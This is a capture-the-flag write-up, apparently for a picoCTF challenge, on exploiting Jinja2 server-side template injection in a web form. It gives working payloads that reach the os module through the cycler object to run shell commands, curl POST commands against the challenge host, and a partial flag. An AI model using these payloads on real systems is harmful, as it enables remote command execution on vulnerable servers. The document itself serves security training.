Description
The announcement form renders unescaped Jinja2 templates, so you can access Python globals through the `cycler` object and execute shell commands.
Load the challenge URL and locate the text field that reflects arbitrary user input.
Submit a harmless template (e.g., `{{7*7}}`) to confirm server-side template execution.
curl http://rescued-float.picoctf.net:52534/
curl -L -X POST -d "content={{7*7}}" http://rescued-float.picoctf.net:52534/
Solution
- Step 1Pop a shell via cyclerJinja exposes the `cycler` helper, whose `__init__.__globals__` dictionary contains the `os` module. Calling `os.popen` lets you run arbitrary commands from a template payload.{{ cycler.__init__.__globals__.os.popen('ls -la').read() }}
- Step 2Read the flag fileListing the directory reveals the `flag` file. Replace the command string with `cat flag` (or use curl to POST the payload) and the response contains the picoCTF flag.{{ cycler.__init__.__globals__.os.popen('cat flag').read() }}curl -L -X POST -d "content={{ cycler.__init__.__globals__.os.popen('cat flag').read() }}" http://rescued-float.picoctf.net:52534/
- Step 3Optional: script the extractionPipe the HTML through grep/cut if you want a clean output from the command line.curl -L -X POST -d "content={{ cycler.__init__.__globals__.os.popen('cat flag').read() }}" http://rescued-float.picoctf.net:52534/ | grep -E "picoCTF\{.*\}"
Flag
picoCTF{s4rv3r_s1d3_t3mp14t3_1nj3ct10n5_4r3_c001_ae48...}
The payload chain works in-browser or via curl; both outputs include the full flag inside the rendered HTML.